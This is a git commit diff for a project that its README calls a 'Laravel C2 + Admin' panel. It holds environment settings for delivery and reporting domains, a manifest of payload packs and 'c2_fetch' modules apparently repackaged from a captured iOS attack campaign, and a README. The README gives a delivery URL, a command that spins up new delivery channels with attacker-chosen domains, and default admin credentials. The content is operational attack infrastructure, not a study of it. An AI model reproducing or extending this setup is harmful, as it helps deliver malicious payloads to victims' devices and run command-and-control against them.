init
This commit is contained in:
@@ -46,13 +46,28 @@ ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
# Fallback delivery hosts (overridden by 系统设置 → 投放域名)
|
||||
CORUNA_CHANNEL_DOMAINS=
|
||||
# Channel link display + builder deployment_domains (when channel.domains is empty).
|
||||
# Overridable by 系统设置 → 投放域名.
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
||||
# Builder reporting_domains (always from env; not overridden by channel.domains).
|
||||
CORUNA_LAB_AMIDN_DOMAINS=
|
||||
# Legacy aliases (optional):
|
||||
# CORUNA_DEPLOYMENT_DOMAINS= / CORUNA_CHANNEL_DOMAINS= → CORUNA_LAB_CHANNEL_DOMAINS
|
||||
# CORUNA_REPORTING_DOMAINS= → CORUNA_LAB_AMIDN_DOMAINS
|
||||
# Sibling project coruna-lab-web build API (Bearer authentication)
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=
|
||||
# Aliases: CORUNA_LAB_WEB_URL / CORUNA_LAB_WEB_TOKEN
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
# Optional complete origin/base path prepended before /channel/{id}/web/support.html
|
||||
CORUNA_STATIC_SITE_BASE_URL=
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
||||
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/server/bin/7z
|
||||
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||
# Or set the system path (exec usually works; do not rely on is_executable):
|
||||
# CORUNA_7Z_BIN=/usr/bin/7z
|
||||
CORUNA_7Z_BIN=
|
||||
+29
-5
@@ -1,6 +1,30 @@
|
||||
out/
|
||||
projects/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
*.log
|
||||
.DS_Store
|
||||
source/web/**/_bak/
|
||||
.env
|
||||
.env.backup
|
||||
.env.production
|
||||
.phpactor.json
|
||||
.phpunit.result.cache
|
||||
/.fleet
|
||||
/.idea
|
||||
/.nova
|
||||
/.phpunit.cache
|
||||
/.vscode
|
||||
/.zed
|
||||
/auth.json
|
||||
/node_modules
|
||||
/public/build
|
||||
/public/hot
|
||||
/public/log/*
|
||||
!/public/log/.gitignore
|
||||
/public/storage
|
||||
/public/sync
|
||||
/public/web
|
||||
/public/out
|
||||
/public/channel
|
||||
/storage/*.key
|
||||
/storage/pail
|
||||
/vendor
|
||||
Homestead.json
|
||||
Homestead.yaml
|
||||
Thumbs.db
|
||||
|
||||
-442
@@ -1,442 +0,0 @@
|
||||
{
|
||||
"description": "Minimal Coruna lab tree for delivery + deployment verification",
|
||||
"campaign_base": "/web/34f5121f572d6742703eb84ec2f866a6/",
|
||||
"sync_base": "/sync/",
|
||||
"file_count": 71,
|
||||
"roles": {
|
||||
"daily_config": 1,
|
||||
"entry": 1,
|
||||
"primary_pack": 19,
|
||||
"secondary_type0x01_pack": 10,
|
||||
"stage_js": 14,
|
||||
"sync_module": 26
|
||||
},
|
||||
"files": [
|
||||
{
|
||||
"role": "entry",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/support.html",
|
||||
"source": "coruna-online/support.html",
|
||||
"size": 48147
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
|
||||
"source": "coruna-online/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
|
||||
"size": 136309
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
|
||||
"source": "coruna-online/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
|
||||
"size": 14572
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
|
||||
"source": "coruna-online/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
|
||||
"size": 24305
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js",
|
||||
"source": "coruna-online/291b914c574e1196039313595217367c44cca436.js",
|
||||
"size": 19624
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
|
||||
"source": "coruna-online/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
|
||||
"size": 24426
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
|
||||
"source": "coruna-online/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
|
||||
"size": 14704
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js",
|
||||
"source": "coruna-online/651774047bf8d72258a5f04785c9dabf5e793670.js",
|
||||
"size": 28408
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
|
||||
"source": "coruna-online/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
|
||||
"size": 29264
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
|
||||
"source": "coruna-online/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
|
||||
"size": 36024
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
|
||||
"source": "coruna-online/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
|
||||
"size": 18135
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
|
||||
"source": "coruna-online/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
|
||||
"size": 160887
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js",
|
||||
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.js",
|
||||
"size": 1775
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
|
||||
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
|
||||
"size": 1316
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js",
|
||||
"source": "coruna-online/b099ff22b5c8e65654744fd307d81ad208009103.js",
|
||||
"size": 37022
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
|
||||
"source": "coruna-online/payloads/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
|
||||
"size": 129244
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
|
||||
"source": "coruna-online/payloads/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
|
||||
"size": 163864
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
|
||||
"source": "coruna-online/payloads/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
|
||||
"size": 142528
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
|
||||
"source": "coruna-online/payloads/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
|
||||
"size": 26360
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
|
||||
"source": "coruna-online/payloads/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
|
||||
"size": 168288
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
|
||||
"source": "coruna-online/payloads/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
|
||||
"size": 170168
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js",
|
||||
"source": "coruna-online/payloads/694c829e379e12085de6158b85f32509f54f4796.min.js",
|
||||
"size": 133004
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
|
||||
"source": "coruna-online/payloads/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
|
||||
"size": 156536
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
|
||||
"source": "coruna-online/payloads/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
|
||||
"size": 152612
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
|
||||
"source": "coruna-online/payloads/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
|
||||
"size": 153384
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js",
|
||||
"source": "coruna-online/payloads/99010a27e08b3312650c8d9f321958433e577a30.min.js",
|
||||
"size": 166684
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
|
||||
"source": "coruna-online/payloads/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
|
||||
"size": 152288
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
|
||||
"source": "coruna-online/payloads/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
|
||||
"size": 154344
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
|
||||
"source": "coruna-online/payloads/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
|
||||
"size": 216944
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
|
||||
"source": "coruna-online/payloads/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
|
||||
"size": 26560
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js",
|
||||
"source": "coruna-online/payloads/e406714e92671b5218496fcb6666734411cb2320.min.js",
|
||||
"size": 137736
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
|
||||
"source": "coruna-online/payloads/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
|
||||
"size": 191368
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
|
||||
"source": "coruna-online/payloads/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
|
||||
"size": 152776
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
|
||||
"source": "coruna-online/payloads/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
|
||||
"size": 163864
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
|
||||
"source": "coruna-online/c2_fetch/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
|
||||
"source": "coruna-online/c2_fetch/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
|
||||
"source": "coruna-online/c2_fetch/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js",
|
||||
"source": "coruna-online/c2_fetch/347367155da44f3efcc9053337913061079610b9.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js",
|
||||
"source": "coruna-online/c2_fetch/630c2b42300333d91588353d43afab9ec8325e09.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
|
||||
"source": "coruna-online/c2_fetch/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
|
||||
"source": "coruna-online/c2_fetch/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
|
||||
"source": "coruna-online/c2_fetch/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
|
||||
"source": "coruna-online/c2_fetch/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
|
||||
"source": "coruna-online/c2_fetch/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "daily_config",
|
||||
"dest": "sync/daily.html",
|
||||
"source": "coruna-online/evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2b8e41bf097b4811c9fb082523a32f72dd83eed49ed09c5a7f9b04027.body",
|
||||
"size": 2463
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/erupt_flee.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0000_be1e18ebff5f4d00b176ab07b867c559c278d129834c6d3a9cf7f7bfa5f36968.bin",
|
||||
"size": 573345
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/swap-ritual.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0001_851785fe8aa2a44e6b31b384b7ee3f3a977d1931302ba6777ab3b0bdaa562ef3.bin",
|
||||
"size": 58034
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/short_thing.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0002_7a925c6556ec1ee17d16444e96f9bf0b8f4d56a623c79522df2f055012c13967.bin",
|
||||
"size": 5249
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/aware_retreat.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0003_7138493424ee03b3dce1df29642229a21a4473cc3d1b91c5e1f11ec6ae643fe3.bin",
|
||||
"size": 49954
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/wash_indicate.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0004_317791c9310b99b0abf7b1b96e9c2195870bf678c1ab295f4e6a6a35b4aff83f.bin",
|
||||
"size": 55970
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/entry-praise.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0005_34a33ef684a258e9c0cc338d017085f19e21bfc39129170114ab2efe964720f5.bin",
|
||||
"size": 52498
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/card_alcohol.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0006_ff4fcba8150969d82af198534b3e26da5d295b0ce2e825438c6d84d28f7276e4.bin",
|
||||
"size": 48882
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/curious-tuna.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0007_046db13c04267aab639b447752b669a20ff5f2889e1be942b156af88fb2813d5.bin",
|
||||
"size": 61138
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/valve-okay.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0008_0292fca56f8e863ae4f7bec0dfe43c3cc7b7e6d9bc612c6263682765ad43fac0.bin",
|
||||
"size": 61250
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/squirrel-chuckle.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0009_7837c1602e8678c3ab36dd39ed1ca537948ea3e1620b6a7b10c3e2cea9cac639.bin",
|
||||
"size": 93314
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/range_hockey.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0010_6237f4e4548eec144d2619fcf979ed9a20c8d6329c9564f5fff8902278a9efc1.bin",
|
||||
"size": 54674
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/exact_unveil.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0011_a9a3a84b541fa3f542c8f833b820f28470deaf497478a745e99817b478b66269.bin",
|
||||
"size": 439490
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/cradle-barely.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0012_8afc716f12ac0c70ca8c360934382956704a27fd2d8d8ab8916e3de387d801fa.bin",
|
||||
"size": 59122
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/enough_lend.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0013_4683d2b7b9d299648d8daa97ae5a8a4fe006d2928dd7ce981c55bf3d909cd649.bin",
|
||||
"size": 45938
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/page_human.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0014_a0fa9cb0bde69add68963772a0bc4367f33f3e7799f3e754d307dfb763da33fb.bin",
|
||||
"size": 56738
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/mouse_announce.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0015_0102928b80534dd5ddb83df640edbc3003fb388fd2222dbbc1bcaf07254dfdf0.bin",
|
||||
"size": 49522
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/canal_sugar.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0016_80ed403291579931ff574983838d730f542a371444b2f5b49c9014b3e655495e.bin",
|
||||
"size": 68802
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/left-case.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0017_0d674fd90723850a27ef68a26c6aedfe70001af92938d54d917e9b024144053d.bin",
|
||||
"size": 66866
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/diagram-ship.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0018_1a8027c1decbb64cc017b19b3f07a45c320af7c947c3bb984c2d8c044bbf779c.bin",
|
||||
"size": 58114
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/shrimp-artefact.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0019_f8334192d70e8bb3e1355886e104d3254c9e06b72a5957a1da63d31331c5f034.bin",
|
||||
"size": 1426386
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/fresh_sausage.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0020_2af8a807790551b7f4e22b79d57c1d5bdced2043a0a73641212d19f4150e9999.bin",
|
||||
"size": 49762
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/win_wife.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0021_96a67da39e9146e3182f32a743644b340cd272ac53a5431b9a0941ab63825327.bin",
|
||||
"size": 429026
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/future-destroy.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0022_3805c4d0dbbbf99d87cba9153534bce98b39f7adff6d9d0cec9cd075bce8e661.bin",
|
||||
"size": 497586
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/chunk_hen.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0023_7a43e9169a122cec7b7ea67754a153afe89fdf5210b7db7867e6140b4b2fd985.bin",
|
||||
"size": 79042
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/candy_ketchup.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0024_eec6fbe1777b346a5c1473112d3f799acf4d84cab3864440eaaccc3a6834e2d5.bin",
|
||||
"size": 374546
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/horror-monster.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0025_24cfa8b258e31d6af11786626b6d684c194e4c6d864e1fc2f2476a066e348389.bin",
|
||||
"size": 84114
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,69 +1,82 @@
|
||||
# coruna-lab
|
||||
# Coruna Lab
|
||||
|
||||
启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。
|
||||
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
|
||||
|
||||
```text
|
||||
coruna-lab/
|
||||
├── source/ # 只读模板 / 明文输入(勿直接 patch)
|
||||
│ ├── web/<original-channel>/
|
||||
│ ├── sync/ # wire 模板
|
||||
│ ├── sync_dylibs/ # sync 明文 dylib
|
||||
│ ├── type0x01_dylibs/ # type-0x01 明文 dylib
|
||||
│ └── sync_config/daily.body
|
||||
├── server/public/
|
||||
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
|
||||
│ ├── sync/ # 每次 new_project 重建
|
||||
│ └── out/{channel,seeds,domains}.json
|
||||
├── doc/
|
||||
├── tools/ # patch 脚本 + vendor/ 离线辅助库
|
||||
└── MANIFEST.json
|
||||
ios-fetch/
|
||||
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
|
||||
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
|
||||
```
|
||||
|
||||
线上 base(模板同源):
|
||||
## Requirements
|
||||
|
||||
```text
|
||||
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
||||
```
|
||||
|
||||
## 新建项目(推荐)
|
||||
|
||||
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
|
||||
| Tool | Path / note |
|
||||
|------|-------------|
|
||||
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
|
||||
| Composer | via brew PHP |
|
||||
| MySQL 8.0 | preferred;sqlite 可 smoke |
|
||||
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
/usr/bin/python3 tools/new_project.py \
|
||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
|
||||
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
|
||||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||||
php -v
|
||||
```
|
||||
|
||||
见 `server/public/out/channel.json` / `domains.json`;入口:
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
|
||||
|
||||
php artisan key:generate # once
|
||||
php artisan migrate --seed
|
||||
php artisan serve --host=0.0.0.0 --port=8000
|
||||
```
|
||||
|
||||
Admin:
|
||||
|
||||
- Shell: `http://127.0.0.1:8000/admin`
|
||||
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`)
|
||||
|
||||
## 新建渠道
|
||||
|
||||
